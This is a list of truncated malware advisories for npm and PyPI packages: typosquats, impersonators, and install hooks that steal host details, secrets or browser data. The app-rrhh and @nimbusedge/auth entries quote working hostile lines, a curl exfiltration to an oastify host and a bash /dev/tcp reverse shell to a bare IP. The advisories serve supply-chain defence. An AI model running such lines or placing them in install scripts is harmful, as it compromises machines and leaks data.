Malicious code in get-power (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e261e4010770fc43fd02cf8c9add484ea5f8a92a21f60682f2aea73f0ce110f7 get-power impersonates ljharb's get-proto utility package.json declares author 'Jordan Harband ' and homepage github.com/ljharb/get-power while...

Malicious code in pino-ulid (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ade54621ac8726adc77fa29c4176808cdf82d0d1f8e45c2e051a17b1fd515779 pino-ulid impersonates the popular pino and ulid packages homepage points at github.com/ulid/javascript and ships a genuine ULID code path as cover...

Malicious code in afhmxiewpsf (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 2d40bb89aa4b89707f1333f512fb3c58e977e45457d676f4ab239a20d472ee6c Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in ultra-ws (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a3cd852fb9e34a4705cad99a8022db52461e1325daddfa1425df17bbc3b7ac08 package.json declares a dependency node-net-pool whose source is a tarball URL on the main branch of a random third-party GitHub account...

Malicious code in noblox-asset.js (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a9d897fe6a57fc9f74c5dd46a89603da107c43ad60d3854a86987d67f5702973 noblox-asset.js impersonates the noblox.js Roblox API wrapper: package.json copies the legitimate package's description, homepage...

Malicious code in postgreesqlhelper (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8956bc32d5371591e9ad2dd809c55715c24a2b4254a9713e280fb646cd1aea49 On require of postgreesqlhelper, index.js decodes two base64 blobs shipped as parse.ts.map and init.ts.map, writes them to parsetmp.js and config.js,...

Malicious code in sql-limit-enforcer (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6f8126bab8131e5781af023537f7c5fc2456929c104f71312eeddcea358b5659 Package ships no legitimate functionality: package.json declares main=index.js which is absent from the tarball, and the only shipped source is...

Malicious code in n8n-nodes-sysdiag (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 91dac1bf8d3a9d1f7cf1a6c15d8c5aea48b3548c8a519e3d3a605745935d8d5a On require of the package, dist/SysDiagNode.node.js runs a deferred bootstrap that enumerates process.env, selects keys matching...

Malicious code in os-info-meeb322k (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cf3b4f18f9d98ad0792f96d750aef64b390ae6a516d948457d1e78b1d3242ab8 The package's postinstall lifecycle script runs unconditionally on npm install. It collects host identifiers hostname, platform, architecture, kernel...

Malicious code in strapi-plugin-os-info-meeb322k (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 26da05bb07f15b53c17000d82631f739bcbfed9c94b9b4174e1c3cb769049ce5 The package declares a postinstall script postinstall.js that runs automatically on npm install. The script collects host reconnaissance data —...

Malicious code in web-main (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 61680a5d53758bc9eb99b1cd2566e6e19139d09fee10a0096a5e72bb0953a5b2 package.json declares preinstall: node index.js, causing index.js to execute automatically on npm install. The script collects os.hostname, os.userIn...

Malicious code in @aiwfm/communitywfm.scripts.api (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 405cd17e3c682b1341db44361500ea68d80e1758f15387d9971d0af95f0c8a48 The package's preinstall script build.js assembles a remote hostname from split string fragments that resolve to...

Malicious code in concierge-sdk (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4de458111994244a0a590117185f9e345ff27043c129d4ea24fcb3be5f98f67b The package's declared postinstall script executes exfilv2.js at npm install time. That script harvests the full process environment, current working...

Malicious code in app-rrhh (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cda153823a2c046e4d97069c84961e1a8b302fc425e238fce36bd8a205d19b88 package.json declares a preinstall script that runs curl http://ebtld4p8aq3rl950g6jgn217aygp4fs4.oastify.com/$whoami/$hostname on npm install. The...

Malicious code in lpulogin (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 2d824c971c20e83d0486d9e93a8de8543530380b7340ffebc1bd699e2f944b9a Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in @merazmz/project-tracker (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 3c3ed01b550c0abf9d9ab2297215b49b5a3b73dbce21cf0ff2f2b476341c57fd Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in meraz-project-tracker (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware e1a3c77d5bcaa115429f3dd8340c5ab055c399f7d240842ea8f57b60bcb8f4f2 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in dilxztech (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware a25964b3120ba869e831f58d089214a18bb2d692324ece4b8101027fc39e97c9 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in chroma-client (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f0c415e6cd4e653006225dd54672dd79ef076166a2015fa33bbf8f10b789af55 The distribution installs a.pth file that Python auto-executes at interpreter startup on every process using the environment. The.pth file's executab...

Malicious code in python-fork (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 0bff88696e931354b786185cde4b21e28c27407203c5733ac31b52b7186c1e78 Importing the module starts a fork bomb, what can lead to destabilizing the system. --- Category: MALICIOUS - The campaign has clearly malicious intent, like...

Malicious code in platform-telemetry-client (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 7464733f1d7353ae3aa3c9da2c60116c92298bfd84c94a6cba4e5f423cb0a0eb The package contains PTH file triggering the loader on every Python initialization. The loader tries to download next stage payload stored in chunks in DNS...

Malicious code in greensaver (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector dd840e550f39e1f29f7a50b0cd121c3fa5e78e99954f22009f03b5ac775f91ec [email protected] declares a postinstall script "node lib/greensaver.js" that runs automatically on npm install. The script decodes two files...

Malicious code in cr-bot-common (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ddd83408820ca65c51cea223a061260109332ba408ca3a43ba00ef827f1ad74f preinstall.js and postinstall.js execute automatically on npm install. preinstall.js reads.env files from the current and parent directories, walks t...

Malicious code in tracker-cloudflare (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 55b5bacf5779f1a1fa161ee38acbf61fda0dc18b3d0fe35213e2b0dc230c06e4 The package's preinstall hook runs node index.js, which collects host identifiers os.hostname, os.userInfo, homedir, DNS servers, cwd along with the...

Malicious code in langgrap (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b11e221d911cf4904a1508f284da0ac0eb17a88e91dadb6dc60ef3bc5d547380 Package name langgrap is a one-character deletion of langgraph, and init.py re-exports from langgraph import so imports appear to succeed. The...

Malicious code in transfomers (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector df75802d76ea42dd9a4e543e30565723bfaed892475cbeaca7ef561a67c1f0b3 Package name typosquats the popular transformers library. The distribution installs a .pth file into site-packages, which the Python interpreter...

Malicious code in ollamaa (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 11eb7019f9ead481b3c5f203703df3b8b63abab2e03502a02ba30360da9948d9 The ollamaa package on PyPI is a one-character typosquat of ollama. Its init.py re-exports everything from the real ollama package so imports appear ...

Malicious code in openaii (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a8d982f068d7525c41b811b82cede3710e7b614363abae75c356e6c280412baf The package name 'openaii' is a one-character edit of 'openai' and its PyPI summary copies the official openai project description verbatim 'The...

Malicious code in @nimbusedge/auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a1c515f5cb3bfa2c20dc4fa78c4be6865209e833016cd5804b94ba5f3d1d5885 package.json declares a preinstall lifecycle script that runs bash -i & /dev/tcp/147.93.157.202/8080 to open an interactive reverse shell to the...

Malicious code in tailwind-form-kit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 92f4a69a3b50ac2347f8b3324abca2c0df1cf83422ee0f164b799cb748fa76b5 The package presents itself as a Tailwind CSS forms plugin but its main entry src/index.js is a heavily obfuscated module obfuscator.io-style rotatin...

Malicious code in aitextutils-py (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 59b5d893cd227654dae3bd7964e54ba20c99963660993e4239f34bba0d50b772 This package executes code from malicious dependency, which hides code downloading script, which then downloads and executes a heavily obfuscated final stage...

Malicious code in aitextkit-py (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 47e96f519e8acba48a6f7760b37a9ad70b94bfbf79fb5eac4fc682849b2837e3 The package presents itself as a small text-cleaning utility library, but both shipped implementation modules text.py and system.py consist of a...

Malicious code in pymem-win (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4c611131ac135f4608698ce56eebd7dc89623b591510a050f2059369c9d51bbf Pymem-win is a near-verbatim copy of the legitimate upstream Pymem package reusing its description, repository URL github.com/srounet/Pymem, and auth...

Malicious code in eth-account-web3 (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 38b69dc345e5f7b75dbe6dccaf3dfc013a98e302176130aac064cbd8d042bae7 The distribution eth-account-web3 installs under the import name ethaccount, colliding with the legitimate ethereum/eth-account library. On import,...

Malicious code in web3-eth-account (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 19e3eadaccc63a1e12d0e3cfe153cbf78e114f30285d4da3694990827e5f5c5a The package web3-eth-account typosquats the legitimate eth-account library and copies its metadata ApeWorX/ethereum.org author addresses, README...

Malicious code in strapi-plugin-vinsoc-1109 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4dbb0aa83cfffbdd408abb8f73299d5a47a0e9855c65b5940bb22112e0928d41 The package's postinstall lifecycle script node postinstall.js || true fires automatically on npm install. postinstall.js reads os.hostname, embeds t...

Malicious code in lucy-python-script-2030 (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 0b93ebb2207ccfa0d02d068d444dce91835203dfe89a5ece38906158b4d3b891 Starting version 0.1.1, the package contains an infostealer attempting to exfiltrate during import various sensitive data, like browser data, sensitive files,...

Malicious code in pinochiomathm (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 135c673bb3925502b10f92d9819d956004ade25faa9c358f6d3fb2c67cd6114e The package impersonates picomatch name 'pinochiomathm', description copied from picomatch, homepage pointing at github.com/micromatch/picomach. On...

Malicious code in tailwindcss-contact-forms (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cc68c81374c5b78e36fea2f599c5e0004ead6e56dfd02b40cec4f73c62193b30 The package presents itself as a Tailwind CSS forms plugin README, repository field, and installation docs are copied verbatim from @tailwindcss/form...

Malicious code in pylever (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6720ca3891de59548dfdfc9b6af778b5bf97fb31c5188381c73e92c4ac2820e1 The package's Client class scans Chrome, Edge, and Brave browser profile LevelDB and Cache directories and the Discord Desktop app's Roaming/discord...

Malicious code in etoro-cashout (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c8aa14d0b9945053b63f4396f09365c5daefec60a25e931f165b3473e7c564f1 The package's preinstall.js lifecycle script runs on npm install and executes host reconnaissance commands whoami, ipconfig/ip addr, directory listin...

Malicious code in etoro-builders (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c9210fb131a2f661ae1d656fa461d45c6c54377179aecba06e6a07b4f357a00b The package's preinstall lifecycle script preinstall.js reads the installer's OS hostname, username, and current working directory via os.hostname,...

Malicious code in etoro-aggregator (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d7d5f0fb8c06c23afad28686a3d3d689dfc5a3786c73bff2c569fd8b55f2b4ad The package's preinstall.js lifecycle script executes automatically on npm install and performs reconnaissance on the installer host. It collects...

Malicious code in etoro-analytics (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bfe27d37497e77c8f0eca9105a6b64c646c7ef1439c05ec50edaf40215037f92 [email protected] ships a preinstall lifecycle script preinstall.js that automatically runs on npm install. The script collects installer host...

Malicious code in etoro-api (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ab6228f994962694d4434f53d20d6a5a1b877b39a3498236327da9d0385284d9 The preinstall lifecycle script in [email protected] preinstall.js auto-executes on npm install and performs an HTTP GET to a hardcoded bare-IP...

Malicious code in etoro-client (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d31819832ff4b43fc9bc7bcd9f3439f71902802331ba6df3c3964c47765397e1 The preinstall lifecycle script in [email protected] unconditionally sends the installer's hostname, OS username, and current working directory to...

Malicious code in etoro-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 64a03f7bbaa2cb54ffea9a0c98d22bdc2fdb0d368846beefbd8d9c3b5ab3f644 The package's preinstall lifecycle script preinstall.js issues an HTTP GET to the hardcoded bare-IP endpoint...

Malicious code in etoro-charts (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e44aff5a1a0b68ff9c9b3456693ef1b8266dce7001dd8b6ff56bed428bbc7c5a On npm install, preinstall.js runs automatically and sends the installer's hostname, username, platform, and current working directory via HTTP GET t...

Malicious code in etoro-auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 385c1c361c59557137d095062a9f767a4c0cd0a1ef78b0b26e4654147e137e3c The package's preinstall.js runs automatically on npm install and collects host identifiers os.hostname, os.userInfo.username, process.cwd,...

Malicious code in etoro-billing (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3c1ceae274b450706288722b9f6c049114593ef2671de93ac58c4fd4a7318c9a On npm install, the package's preinstall lifecycle hook executes preinstall.js, which reads os.hostname, os.userInfo.username, and process.cwd and...